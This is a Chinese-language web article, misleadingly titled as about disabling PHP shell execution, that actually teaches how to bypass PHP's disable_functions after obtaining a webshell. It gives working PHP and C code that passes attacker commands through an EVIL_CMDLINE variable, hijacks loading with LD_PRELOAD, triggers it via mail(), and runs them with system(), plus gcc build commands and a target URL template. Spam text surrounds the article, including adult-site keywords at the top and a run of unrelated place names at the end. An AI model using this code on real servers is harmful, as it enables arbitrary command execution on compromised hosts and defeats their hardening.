成人午夜视频全免费观看高清-秋霞福利视频一区二区三区-国产精品久久久久电影小说-亚洲不卡区三一区三区一区

PHP中怎么禁用執(zhí)行Shell代碼

本篇文章為大家展示了PHP中怎么禁用執(zhí)行Shell代碼,內(nèi)容簡(jiǎn)明扼要并且容易理解,絕對(duì)能使你眼前一亮,通過(guò)這篇文章的詳細(xì)介紹希望你能有所收獲。

本篇文章為大家展示了PHP中怎么禁用執(zhí)行Shell代碼,內(nèi)容簡(jiǎn)明扼要并且容易理解,絕對(duì)能使你眼前一亮,通過(guò)這篇文章的詳細(xì)介紹希望你能有所收獲。

一、問(wèn)題描述

創(chuàng)新互聯(lián)專(zhuān)業(yè)為企業(yè)提供湖口網(wǎng)站建設(shè)、湖口做網(wǎng)站、湖口網(wǎng)站設(shè)計(jì)、湖口網(wǎng)站制作等企業(yè)網(wǎng)站建設(shè)、網(wǎng)頁(yè)設(shè)計(jì)與制作、湖口企業(yè)網(wǎng)站模板建站服務(wù),十年湖口做網(wǎng)站經(jīng)驗(yàn),不只是建網(wǎng)站,更提供有價(jià)值的思路和整體網(wǎng)絡(luò)服務(wù)。

Getshell時(shí)無(wú)法執(zhí)行系統(tǒng)命令

二、直接利用過(guò)程

將bypass_disablefunc.php 和 bypass_disablefunc_x64.so共享文件傳到目標(biāo)上,指定三個(gè)參數(shù)構(gòu)造URL。

http://site.com/bypass_disablefunc.php?cmd=命令執(zhí)行輸入&outpath=outpath&sopath=sopath 

一是 cmd 參數(shù),待執(zhí)行的系統(tǒng)命令;

二是 outpath 參數(shù),保存命令執(zhí)行輸出結(jié)果的文件路徑(如 /tmp/xx),便于在頁(yè)面上顯示,另外該參數(shù),你應(yīng)注意 web 是否有讀寫(xiě)權(quán)限、web 是否可跨目錄訪問(wèn)、文件將被覆蓋和刪除等幾點(diǎn);三是 sopath 參數(shù),指定劫持系統(tǒng)函數(shù)的共享對(duì)象的絕對(duì)路徑

(如 /var/www/bypass_disablefunc_x64.so)(上傳時(shí)指定),另外關(guān)于該參數(shù),你應(yīng)注意 web 是否可跨目錄訪問(wèn)到它。

前提:

了解系統(tǒng)信息,如果系統(tǒng)不是debian、x64同類(lèi)型的linux系統(tǒng)則需要重新編譯

bypass_disablefunc_x64.so 為執(zhí)行命令的共享對(duì)象,

用命令 gcc -shared -fPIC bypass_disablefunc.c -o bypass_disablefunc_x64.so 

將 bypass_disablefunc.c 編譯而來(lái)。 若目標(biāo)為 x86 架構(gòu),需要加上 -m32 選項(xiàng)重新編譯,bypass_disablefunc_x86.so。

保證:outpath文件路徑web 是否有讀寫(xiě)權(quán)限、web 是否可跨目錄訪問(wèn)、文件將被覆蓋和刪除等幾點(diǎn);

三、代碼執(zhí)行過(guò)程描述

1、先把惡意shell指令寫(xiě)成cmd >/tmp/xx 2>&1,以便讀取返回信息及錯(cuò)誤信息;

2、通過(guò)寫(xiě)入新的環(huán)境變量EVIL_CMDLINE(系統(tǒng)不存在,工程生成),從而傳遞惡意shell指令給予共享文件等待執(zhí)行;

3、通過(guò)寫(xiě)入LD_PRELOAD環(huán)境變量來(lái)使準(zhǔn)備好的共享文件代碼優(yōu)先加載;

4、通過(guò)mail函數(shù)觸發(fā)共享文件加載;

共享文件內(nèi)容工作:通過(guò)__attribute__ ((__constructor__))修飾符修飾函數(shù)使得共享文件一旦被加載就會(huì)執(zhí)行,無(wú)論觸發(fā)加載函數(shù)(這里使用的mail)是否執(zhí)行成功與否、第三方插件是否存在,只要加載即執(zhí)行

5、共享文件被加載,__attribute__ ((__constructor__))修飾的系統(tǒng)函數(shù)會(huì)比觸發(fā)加載的第三方插件函數(shù)先執(zhí)行。在執(zhí)行系統(tǒng)函數(shù)system(cmdline)前,使用extern char** environ打斷共享文件的二次加載(不然第二次加載的構(gòu)造函數(shù)再執(zhí)行到系統(tǒng)函數(shù)system(cmdline)前又第三次加載該共享文件,往返,從而到達(dá)無(wú)限循環(huán))。

6、命令的二進(jìn)制文件順利在系統(tǒng)的內(nèi)存中被執(zhí)行,執(zhí)行的結(jié)果或錯(cuò)誤信息都記錄到/tmp/xx文件中。

7、通過(guò)nl2br(file_get_contents($out_path)) 句子分行的顯示在網(wǎng)頁(yè)頁(yè)面上,最后通過(guò)unlink刪除文件,等待下一次的寫(xiě)入、顯示。

四、代碼預(yù)覽

bypass_disablefunc.php文件——傳遞惡意shell命令、設(shè)置最實(shí)現(xiàn)最高級(jí)加載、顯示命令執(zhí)行情況

<?php    echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?       $cmd = $_GET["cmd"];    $out_path = $_GET["outpath"];    $evil_cmdline = $cmd . " > " . $out_path . " 2>&1";#第一步    putenv("EVIL_CMDLINE=" . $evil_cmdline);#第二步    $so_path = $_GET["sopath"];    putenv("LD_PRELOAD=" . $so_path);#第三步    mail("", "", "", "");#第四步    echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>";     unlink($out_path);第七步?>

bypass_disablefunc_x64.so文件的C語(yǔ)言代碼——執(zhí)行惡意shell指令#define _GNU_SOURCE#include <stdlib.h>#include <stdio.h>#include <string.h>extern char** environ;__attribute__ ((__constructor__)) void preload (void){    // get command line options and arg    const char* cmdline = getenv("EVIL_CMDLINE");    // unset environment variable LD_PRELOAD.    // unsetenv("LD_PRELOAD") no effect on some     // distribution (e.g., centos), I need crafty trick.    int i;    for (i = 0; environ[i]; ++i) {            if (strstr(environ[i], "LD_PRELOAD")) {                    environ[i][0] = '\0';            }    }    // executive command    system(cmdline);}

五、代碼分析

01目的:編寫(xiě)在系統(tǒng)調(diào)用第三方組件函數(shù)前先執(zhí)行的函數(shù)

02操作

共享對(duì)象文件使用c語(yǔ)言來(lái)編寫(xiě)

共享的函數(shù)使用__attribute__ ((__constructor__)) 進(jìn)行修飾

__attribute__ ((__constructor__)) void preload (void)

03基礎(chǔ)概念GCC 有個(gè) C 語(yǔ)言擴(kuò)展修飾符 __attribute__((constructor)),可以讓由它修飾的函數(shù)在 main() 之前執(zhí)行

,若它出現(xiàn)在共享對(duì)象中時(shí),那么一旦共享對(duì)象被系統(tǒng)加載,立即將執(zhí)行 。

01目的:停止環(huán)境變量對(duì)system(cmdline)函數(shù)執(zhí)行前的打斷

02操作:

共享文件C語(yǔ)言中加入以下代碼,通過(guò)改環(huán)境寫(xiě)入\0進(jìn)行清空環(huán)境變量

extern char** environ ;int i;for (i = 0; environ[i]; ++i) { if (strstr(environ[i], "LD_PRELOAD")) { environ[i][0] = '\0'; } }

03基礎(chǔ)概念

每個(gè)程序都有一個(gè)環(huán)境表,它是一個(gè)字符指針數(shù)組,其中每個(gè)指針包含一個(gè)以NULL結(jié)尾的C字符串的地址。全局變量environ則包含了該指針數(shù)組的地址:externchar **environ;

在調(diào)用system(cmdline);會(huì)又使得LD_PRELOAD再加載自身,這就陷入無(wú)限循環(huán)。因此寫(xiě)入\0,對(duì)函數(shù)執(zhí)行的環(huán)境變量修改,打斷LD_PRELOAD再加載自身,從而順利執(zhí)行system(cmdline);

01目的:讀取環(huán)境變量中的惡意shell指令并執(zhí)行

02操作:

共享文件C語(yǔ)言中加入以下代碼、使用C語(yǔ)言調(diào)用的系統(tǒng)函數(shù)

const char* cmdline = getenv("EVIL_CMDLINE");system(cmdline);

03基礎(chǔ)概念

讀取環(huán)境變量函數(shù)及系統(tǒng)執(zhí)行函數(shù)

getenv ( string $varname [, bool $local_only = FALSE ] ) : stringint 

system(const char *command);

01目的:生成系統(tǒng)執(zhí)行的二進(jìn)制文件,供于被調(diào)用

02操作:

編譯動(dòng)態(tài)庫(kù)、通過(guò)c語(yǔ)言編寫(xiě)功能函數(shù),再使用GCC執(zhí)行系統(tǒng)cmd命令

gcc -shared -fPIC -o 1.so 1.c

03基礎(chǔ)概念

在 windows 平臺(tái)和 Linux 平臺(tái)下都大量存在著庫(kù)。

庫(kù),是一種可執(zhí)行代碼的二進(jìn)制形式,可以被操作系統(tǒng)載入內(nèi)存執(zhí)行。

共享庫(kù)(動(dòng)態(tài)庫(kù))的代碼是在可執(zhí)行程序運(yùn)行時(shí)才載入內(nèi)存的,在編譯過(guò)程中僅簡(jiǎn)單的引用,因此代碼體積較小。動(dòng)態(tài)通常用.so為后綴

-fPIC 作用于編譯階段,告訴編譯器產(chǎn)生與位置無(wú)關(guān)代碼(Position-Independent Code),則產(chǎn)生的代碼中,沒(méi)有絕對(duì)地址,全部使用相對(duì)地址,故而代碼可以被加載器加載到內(nèi)存的任意位置,都可以正確的執(zhí)行。這正是共享庫(kù)所要求的,共享庫(kù)被加載時(shí),在內(nèi)存的位置不是固定的。

譯成 x86 架構(gòu)需要加上 -m32 選項(xiàng)

01目的:惡意shell指令組合,輸出結(jié)果和錯(cuò)誤信息都記錄到指定地方/tmp/xx,從而可以被讀取顯示結(jié)果或錯(cuò)誤信息

02操作:

cmd >/tmp/xx 2>&1

03基礎(chǔ)概念:

2>&1 的意思就是將標(biāo)準(zhǔn)錯(cuò)誤重定向到標(biāo)準(zhǔn)輸出。

Linux的文件描述符--標(biāo)準(zhǔn)輸入輸出說(shuō)明

stdin,標(biāo)準(zhǔn)輸入,默認(rèn)設(shè)備是鍵盤(pán),文件編號(hào)為0。

stdout,標(biāo)準(zhǔn)輸出,默認(rèn)設(shè)備是顯示器,文件編號(hào)為1,也可以重定向到文件。

stderr,標(biāo)準(zhǔn)錯(cuò)誤,默認(rèn)設(shè)備是顯示器,文件編號(hào)為2,也可以重定向到文件。

>&重定向符

01目的:設(shè)置環(huán)境變量的值,傳遞惡意shell指令以及指定的動(dòng)態(tài)庫(kù)加載的優(yōu)先級(jí)最高

02操作:

putenv("EVIL_CMDLINE=" . $evil_cmdline);putenv("LD_PRELOAD=bypass_disablefunc_x64.so");

03基礎(chǔ)概念:

putenv ( string $setting ) : bool

添加 setting 到服務(wù)器環(huán)境變量。 環(huán)境變量?jī)H存活于當(dāng)前請(qǐng)求期間。 在請(qǐng)求結(jié)束時(shí)環(huán)境會(huì)恢復(fù)到初始狀態(tài)。如果環(huán)境中沒(méi)有該服務(wù)器環(huán)境變量,則會(huì)臨時(shí)存在。

EVIL_CMDLINE在環(huán)境變量是不存在,人為生成傳遞函數(shù)用

LD_PRELOAD的作用是為優(yōu)先加載庫(kù)設(shè)置

一般情況下,庫(kù)加載順序?yàn)長(zhǎng)D_PRELOAD>LD_LIBRARY_PATH> /etc/ld.so.cache>/lib>/usr/lib。

LD_PRELOAD、LD_LIBRARY_PATH都為環(huán)境變量、/etc/ld.so.cache、/usr/lib為文件目錄;

01目的:觸發(fā)系統(tǒng)執(zhí)行編寫(xiě)的二進(jìn)制文件,執(zhí)行__attribute__ ((__constructor__)) void preload (void);

02操作:

mail("", "", "", "");

03基礎(chǔ)概念

mail() 函數(shù)允許您從腳本中直接發(fā)送電子郵件。

注:php代碼中只是為了創(chuàng)建新進(jìn)程,觸發(fā)系統(tǒng)對(duì)LD_PRELOAD的加載,因__attribute__ ((__constructor__)) 屬性的函數(shù)會(huì)優(yōu)先main函數(shù)先執(zhí)行,實(shí)際在該工程中mail不需要第三方sendmail的支持;

01目的:讀取存入/tmp/xx的信息

02操作:

nl2br(file_get_contents($out_path))

03基礎(chǔ)概念:

file_get_contents — 將整個(gè)文件讀入一個(gè)字符串

file_get_contents ( string $filename [, bool $use_include_path = false [, resource $context [, int $offset = -1 [, int$maxlen ]]]] ) : string

和 file() 一樣,只除了 file_get_contents() 把文件讀入一個(gè)字符串。將在參數(shù) offset 所指定的位置開(kāi)始讀取長(zhǎng)度為maxlen 的內(nèi)容。如果失敗,file_get_contents() 將返回 FALSE。

nl2br() 函數(shù)在字符串中的每個(gè)新行(\n)之前插入 HTML 換行符(<br> 或 <br />)。

01目的:刪除文件

02操作:

unlink($out_path);

03基礎(chǔ)概念

unlink(filename,context)

定義和用法

unlink() 函數(shù)刪除文件。

如果成功,該函數(shù)返回 TRUE。如果失敗,則返回 FALSE。

分享文章:PHP中怎么禁用執(zhí)行Shell代碼
分享路徑:http://jinyejixie.com/article12/ejsjdc.html

成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供軟件開(kāi)發(fā)、商城網(wǎng)站服務(wù)器托管、定制網(wǎng)站、網(wǎng)站內(nèi)鏈企業(yè)建站

廣告

聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶(hù)投稿、用戶(hù)轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請(qǐng)盡快告知,我們將會(huì)在第一時(shí)間刪除。文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如需處理請(qǐng)聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時(shí)需注明來(lái)源: 創(chuàng)新互聯(lián)

網(wǎng)站托管運(yùn)營(yíng)
大同市| 普格县| 洱源县| 松江区| 宿松县| 买车| 麟游县| 隆回县| 马鞍山市| 湘潭市| 迁安市| 社会| 双峰县| 正镶白旗| 凤翔县| 伊春市| 京山县| 鹿泉市| 岱山县| 英山县| 渭南市| 图们市| 通州区| 固阳县| 黔西| 霍州市| 亳州市| 孟津县| 卢氏县| 贺州市| 临沂市| 莱西市| 南康市| 武夷山市| 南靖县| 秦皇岛市| 游戏| 正宁县| 剑阁县| 铜陵市| 洛南县|